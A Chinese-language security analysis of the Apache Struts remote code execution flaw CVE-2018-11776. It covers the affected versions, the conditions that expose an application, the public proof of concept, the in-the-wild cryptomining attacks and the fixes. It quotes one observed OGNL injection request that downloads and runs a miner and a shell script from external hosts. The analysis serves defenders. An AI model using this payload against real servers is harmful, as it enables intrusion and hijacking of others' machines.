詳細分析Apache Struts RCE漏洞及攻擊事件(CVE-2018-11776)
概述
2018年8月底,Apache Struts團隊釋出了Apache Struts 2開源開發框架的安全更新,其中修復了一個高危的遠端程式碼執行漏洞(RCE)。這一漏洞的編號為CVE-2018-11776,受漏洞影響的版本範圍是2.3-2.3.34、2.5-2.5.16以及不再提供更新支援的早期版本。在Struts 2.3.35和2.5.17版本中修復了這一漏洞。
Struts開發團隊還發布了一個臨時修復方法,但他們建議使用者不要選擇這一方案,而是應該儘快安裝更新。
在Apache釋出的安全公告中,是這樣描述這一漏洞的:“當使用沒有名稱空間的結果時,如果其上層動作沒有或具有萬用字元名稱空間,可能會導致遠端程式碼執行。同樣,當使用沒有值或動作集的URL標記時,也可能導致遠端程式碼執行”。
這一漏洞很容易被利用。根據安全公告的資訊,如果沒有在基礎XML配置中為結果定義名稱空間值,並且其上層動作配置中沒有或具有萬用字元名稱空間,就可能會觸發RCE漏洞。當使用沒有值或動作集的URL標記時,就可以利用這一漏洞。
ofollow,noindex">Semmle在發表的技術分析 中指出,
該漏洞是由於Struts框架核心中沒有對不受信任的使用者資料進行充分驗證而導致的。由於這一漏洞影響Struts的核心部分,因此存在多個單獨的攻擊向量。目前,我們已經掌握了其中的兩種攻擊方式。
如果滿足以下兩個條件,則可以判斷應用程式受到該漏洞的影響:
1、Struts配置中的alwaysSelectFullNamespace標誌設定為True。需要注意的是,如果應用程式使用了流行的Struts Convention外掛,那麼會默認出現這種情況。
2、應用程式配置檔案中包含<action …>標記,該標記未指定可選的名稱空間屬性,或者指定了萬用字元名稱空間(例如“/*”)。
該漏洞影響Struts的常用終端,這些終端可能會暴露。
攻擊者可以通過在HTTP請求的引數中注入自己的名稱空間,來攻擊受漏洞影響的應用程式。Struts框架對該引數的值進行了不充分的驗證,其值可以是任何OGNL字串。OGNL是一種功能強大的特定域語言,用於自定義Apache Struts的行為。
漏洞EXP在GitHub上釋出
專家解釋說,這一漏洞的利用非常容易,因為有大量應用程式使用了受漏洞影響的Struts框架,所以非常危險。攻擊者可以通過在HTTP請求中注入自定義的名稱空間作為引數,來觸發這一漏洞。缺乏對該引數的正確驗證是問題的根源。
就在Apache Software Foundation釋出Apache Struts 2中關於遠端程式碼執行的安全公告後的2天時間,網上就出現了一個可用的漏洞概念驗證(PoC)。
威脅情報公司Recorded Future的研究人員在幾個中國和俄羅斯的地下論壇中,觀察到與Struts漏洞相關的資訊和交易。
Recorded Future在釋出的分析文章中寫道:
不幸的是,PoC的程式碼已經在網上釋出,此外還有一個可以輕鬆利用這一漏洞的Python指令碼。這樣一來,就使得攻擊者可以更加輕鬆的利用此漏洞。我們還發現了許多中國和俄羅斯的地下論壇在持續討論這一漏洞。與去年Equifax的Apache Struts漏洞(CVE-2017-5638)不同,這個漏洞似乎更容易被利用,因為它不需要安裝Apache Struts就可以執行任何額外的外掛,從而實現成功的攻擊。
由於這一框架非常流行,所以受漏洞影響的應用程式數量非常多。
因為執行Apache Struts的許多伺服器都是後端應用程式伺服器,所以即使是系統管理員也不容易對它們進行判斷。
另一個需要考慮的方面是,有許多Struts框架無法立即安裝更新。這些系統仍然容易受到攻擊,特別是在關鍵環境中的系統。
專家警告說,後續可能會有黑客發起大規模的網際網路掃描,發現易受攻擊的系統,並針對存在漏洞的系統開展一系列攻擊活動。
在野外發現利用Struts Flaw漏洞進行的攻擊
在網上釋出EXP程式碼的幾個小時後,威脅情報公司Volexity的研究人員就發現該漏洞已被惡意攻擊所利用。攻擊者正在試圖藉助此漏洞,向目標主機安裝CNRig加密貨幣挖礦程式。
Volexity在釋出的報告中指出:Volexity已經觀察到,至少有一個攻擊者試圖大規模利用CVE-2018-11776來安裝CNRig加密貨幣礦工。最初觀察到的掃描,來自俄羅斯和法國的IP地址95.161.225.94和167.114.171.27。
黑客使用的漏洞利用程式碼會連線到GitHub倉庫,以獲取CNRig Miner的副本,並將其儲存為xrig,隨後訪問BitBucket下載Shell指令碼。
以下是Volexity安全研究人員在實際攻擊中觀察到的漏洞利用嘗試示例:
GET /struts3-showcase/$${(#_memberAccess[“allowStaticMethodAccess”]=true,#[email protected]@getRuntime().exec(‘wget -O xrig hxxps://github.com/cnrig/cnrig/releases/download/v0.1.5-release/cnrig-0.1.5-linux-x86_64;wget hxxps://bitbucket.org/c646/zz/downloads/upcheck.sh || curl -L hxxps://bitbucket.org/c646/zz/downloads/upcheck.sh –output upcheck.sh;chmod x xrig;chmod x upcheck.sh;nohup ./upcheck.sh &;nohup ./xrig -a cryptonight -o us-east.cryptonight-hub.miningpoolhub.com:20580 -u c646.miner -p x &;rm xrig’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#[email protected].ServletActionContext@getResponse().getWriter(),#sbtest.println(#d),#sbtest.close())}/actionChain1.action HTTP/1.1
經過分析,上述程式碼揭示了漏洞利用的過程:
如果上述漏洞利用嘗試成功,存在漏洞的系統將對其中的兩個URL執行wget請求,以便從GitHub下載CNRig Miner的副本(儲存為xrig),隨即從BitBucket下載Shell指令碼(upcheck.sh)。
攻擊者使用Shell指令碼,刪除先前的礦工例項,刪除特定程序,並且下載3個ELF挖礦二進位制檔案。
在此次攻擊中,攻擊者使用的挖礦工具支援多種體系架構,包括Inter、ARM和MIPS。這說明攻擊者將目標瞄準了儘可能廣泛的使用者群體。
下載的3個ELF二進位制檔案分別是針對Inter、ARM和MIPS架構的可執行檔案,這樣一來,該挖礦程式就能夠在許多硬體上執行,例如伺服器、桌上型電腦、膝上型電腦、物聯網裝置、無線路由器等。範圍幾乎涵蓋了所有能執行存在漏洞的Apache Struts例項的連網裝置。
攻擊中涉及到的BitBucket資料夾中包含Shell指令碼和ELF二進位制檔案。研究人員發現,挖掘加密貨幣的賬戶名稱與BitBucket賬戶名稱相同。
結論
Apache Struts漏洞對於組織來說非常危險,也是導致Equifax超過1.4億使用者資訊洩露的根本原因。然而,CVE-2018-11776比此前的漏洞更容易被利用。
目前,有兩種方案可以防範該漏洞。第一,升級到最新版本的Apache Struts,其版本號為2.3.35或2.5.17以上。第二,確保在Apache Struts框架中始終設定了名稱空間。
由於持續不斷的出現高危漏洞,Apache Struts框架逐漸成為越來越多攻擊者關注的目標。這就需要組織具有及時的響應速度,確保在釋出新補丁之後立即對軟體進行更新,或者以其他方式限制外部對受漏洞影響網站的訪問。儘管當前發現的Apache Struts攻擊的主要Payload是加密貨幣挖礦程式,但攻擊者完全可以使用其他Payload。
我個人認為,針對CVE-2018-11776漏洞的惡意活動數量還會持續增加,因為目前還有大量的Apache Struts 2尚未修復漏洞,並且能被外界訪問。